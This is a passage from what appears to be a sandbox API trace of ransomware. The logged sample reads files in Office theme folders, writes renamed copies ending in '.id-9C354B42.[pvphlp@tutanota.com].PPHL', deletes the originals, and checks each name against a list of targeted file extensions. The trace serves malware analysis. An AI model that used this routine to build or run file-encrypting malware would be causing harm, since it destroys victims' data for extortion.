lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.201] SetEndOfFile (hFile=0x180) returned 1 [0080.201] CloseHandle (hObject=0x180) returned 1 [0080.201] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.201] SetEndOfFile (hFile=0x21c) returned 1 [0080.202] CloseHandle (hObject=0x21c) returned 1 [0080.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.203] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0080.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.203] lstrlenW (lpString=".doc") returned 4 [0080.203] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.203] lstrlenW (lpString=".docx") returned 5 [0080.203] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.203] lstrlenW (lpString=".pdf") returned 4 [0080.203] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.203] lstrlenW (lpString=".xls") returned 4 [0080.203] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.203] lstrlenW (lpString=".xlsx") returned 5 [0080.203] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.203] lstrlenW (lpString=".ppt") returned 4 [0080.203] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.203] lstrlenW (lpString=".zip") returned 4 [0080.203] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.203] lstrlenW (lpString=".rar") returned 4 [0080.203] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.203] lstrlenW (lpString=".bz2") returned 4 [0080.204] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.204] lstrlenW (lpString=".7z") returned 3 [0080.204] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.204] lstrlenW (lpString=".dbf") returned 4 [0080.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.204] lstrlenW (lpString=".1cd") returned 4 [0080.204] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.204] lstrlenW (lpString=".jpg") returned 4 [0080.204] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.204] lstrlenW (lpString=".doc") returned 4 [0080.204] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.204] lstrlenW (lpString=".docx") returned 5 [0080.204] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.204] lstrlenW (lpString=".pdf") returned 4 [0080.204] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.204] lstrlenW (lpString=".xls") returned 4 [0080.204] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.204] lstrlenW (lpString=".xlsx") returned 5 [0080.204] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.204] lstrlenW (lpString=".ppt") returned 4 [0080.204] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.205] lstrlenW (lpString=".zip") returned 4 [0080.205] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.205] lstrlenW (lpString=".rar") returned 4 [0080.205] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.205] lstrlenW (lpString=".bz2") returned 4 [0080.205] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.205] lstrlenW (lpString=".7z") returned 3 [0080.205] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.205] lstrlenW (lpString=".dbf") returned 4 [0080.205] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.205] lstrlenW (lpString=".1cd") returned 4 [0080.205] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0080.205] lstrlenW (lpString=".jpg") returned 4 [0080.205] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.205] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0080.205] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.206] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=27177) returned 1 [0080.206] CloseHandle (hObject=0x21c) returned 1 [0080.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0080.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.208] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.208] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0080.209] GetLastError () returned 0x0 [0080.209] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0080.211] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0080.215] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.215] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.216] SetEndOfFile (hFile=0x180) returned 1 [0080.216] CloseHandle (hObject=0x180) returned 1 [0080.216] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.216] SetEndOfFile (hFile=0x21c) returned 1 [0080.217] CloseHandle (hObject=0x21c) returned 1 [0080.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.218] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.218] lstrlenW (lpString=".doc") returned 4 [0080.218] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.218] lstrlenW (lpString=".docx") returned 5 [0080.218] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.218] lstrlenW (lpString=".pdf") returned 4 [0080.218] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.218] lstrlenW (lpString=".xls") returned 4 [0080.218] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.218] lstrlenW (lpString=".xlsx") returned 5 [0080.218] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.218] lstrlenW (lpString=".ppt") returned 4 [0080.218] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.219] lstrlenW (lpString=".zip") returned 4 [0080.219] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.219] lstrlenW (lpString=".rar") returned 4 [0080.219] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.219] lstrlenW (lpString=".bz2") returned 4 [0080.219] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.219] lstrlenW (lpString=".7z") returned 3 [0080.219] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.219] lstrlenW (lpString=".dbf") returned 4 [0080.219] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.219] lstrlenW (lpString=".1cd") returned 4 [0080.219] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.219] lstrlenW (lpString=".jpg") returned 4 [0080.219] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.219] lstrlenW (lpString=".doc") returned 4 [0080.219] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.219] lstrlenW (lpString=".docx") returned 5 [0080.219] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.219] lstrlenW (lpString=".pdf") returned 4 [0080.219] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.219] lstrlenW (lpString=".xls") returned 4 [0080.219] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.220] lstrlenW (lpString=".xlsx") returned 5 [0080.220] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.220] lstrlenW (lpString=".ppt") returned 4 [0080.220] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.220] lstrlenW (lpString=".zip") returned 4 [0080.220] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.220] lstrlenW (lpString=".rar") returned 4 [0080.220] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.220] lstrlenW (lpString=".bz2") returned 4 [0080.220] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.220] lstrlenW (lpString=".7z") returned 3 [0080.220] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.220] lstrlenW (lpString=".dbf") returned 4 [0080.220] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.220] lstrlenW (lpString=".1cd") returned 4 [0080.220] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0080.220] lstrlenW (lpString=".jpg") returned 4 [0080.220] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.220] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0080.221] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.221] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2209) returned 1 [0080.221] CloseHandle (hObject=0x21c) returned 1 [0080.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0080.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.221] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.222] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0080.224] GetLastError () returned 0x0 [0080.224] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0080.226] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0080.227] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.227] SetEndOfFile (hFile=0x180) returned 1 [0080.228] CloseHandle (hObject=0x180) returned 1 [0080.228] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.228] SetEndOfFile (hFile=0x21c) returned 1 [0080.229] CloseHandle (hObject=0x21c) returned 1 [0080.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0080.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.230] lstrlenW (lpString=".doc") returned 4 [0080.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.230] lstrlenW (lpString=".docx") returned 5 [0080.230] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.230] lstrlenW (lpString=".pdf") returned 4 [0080.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.230] lstrlenW (lpString=".xls") returned 4 [0080.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.230] lstrlenW (lpString=".xlsx") returned 5 [0080.230] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.230] lstrlenW (lpString=".ppt") returned 4 [0080.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.230] lstrlenW (lpString=".zip") returned 4 [0080.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.230] lstrlenW (lpString=".rar") returned 4 [0080.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.230] lstrlenW (lpString=".bz2") returned 4 [0080.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.230] lstrlenW (lpString=".7z") returned 3 [0080.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.231] lstrlenW (lpString=".dbf") returned 4 [0080.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.231] lstrlenW (lpString=".1cd") returned 4 [0080.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.231] lstrlenW (lpString=".jpg") returned 4 [0080.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.231] lstrlenW (lpString=".doc") returned 4 [0080.231] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.231] lstrlenW (lpString=".docx") returned 5 [0080.231] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.231] lstrlenW (lpString=".pdf") returned 4 [0080.231] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.231] lstrlenW (lpString=".xls") returned 4 [0080.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.231] lstrlenW (lpString=".xlsx") returned 5 [0080.231] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.231] lstrlenW (lpString=".ppt") returned 4 [0080.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.231] lstrlenW (lpString=".zip") returned 4 [0080.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.232] lstrlenW (lpString=".rar") returned 4 [0080.232] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.232] lstrlenW (lpString=".bz2") returned 4 [0080.232] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.232] lstrlenW (lpString=".7z") returned 3 [0080.232] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.232] lstrlenW (lpString=".dbf") returned 4 [0080.232] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.232] lstrlenW (lpString=".1cd") returned 4 [0080.232] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0080.232] lstrlenW (lpString=".jpg") returned 4 [0080.232] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.232] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0080.232] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.233] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=21812) returned 1 [0080.233] CloseHandle (hObject=0x21c) returned 1 [0080.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0080.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.233] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.233] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0080.234] GetLastError () returned 0x0 [0080.234] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x5534, lpOverlapped=0x0) returned 1 [0080.236] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0080.239] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.239] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, 